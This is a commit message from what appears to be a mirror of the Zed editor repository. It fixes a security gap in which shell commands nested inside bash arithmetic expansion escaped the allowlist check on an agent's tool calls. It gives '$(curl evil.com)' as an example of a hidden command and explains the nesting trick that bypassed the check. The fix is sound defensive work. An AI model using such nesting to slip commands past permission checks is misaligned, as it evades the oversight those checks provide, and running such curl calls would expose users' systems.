# Extract nested command substitutions from arithmetic expansions \(\#54690\) · gitcafe/zed

[View on GitCafe](https://git.cafe/gitcafe/zed/commit/3be7bdcbd94ba0d5112ec74c2bea15fbac75ca83)

Repository: [gitcafe/zed](https://git.cafe/gitcafe/zed)

Visibility: public

Requested revision: 3be7bdcbd94ba0d5112ec74c2bea15fbac75ca83

Requested commit: 3be7bdcbd94ba0d5112ec74c2bea15fbac75ca83

Commit: 3be7bdcbd94ba0d5112ec74c2bea15fbac75ca83

Tree: cb9ae0429cd4f8eb1247034cc980fb2cf370d0db

Author: Richard Feldman

Committer: GitHub

## Message

```
Extract nested command substitutions from arithmetic expansions (#54690)

Bash arithmetic expansion `$((...))` can contain command substitutions
like `$(curl evil.com)`. Previously, `extract_commands_from_word_piece`
treated `ArithmeticExpression` as a no-op, so nested commands inside
`$(( ... ))` were never extracted for allowlist checking.

This fix re-parses the `ArithmeticExpression` value string using
`brush_parser::word::parse` and recursively extracts any embedded
command substitutions, mirroring how `CommandSubstitution` and
`DoubleQuotedSequence` are already handled.

Closes SEC-267

Release Notes:

- Commands nested inside bash arithmetic expansions (e.g. `$(($(curl
example.com)))`) are now understood by the tool-calling permissions
regexes.
```

## Parents

- [fc766228616554912be9d411c72a46ac96db5d83](https://git.cafe/gitcafe/zed/commit/fc766228616554912be9d411c72a46ac96db5d83?format=markdown)

[Source at this commit](https://git.cafe/gitcafe/zed/tree/3be7bdcbd94ba0d5112ec74c2bea15fbac75ca83?format=markdown)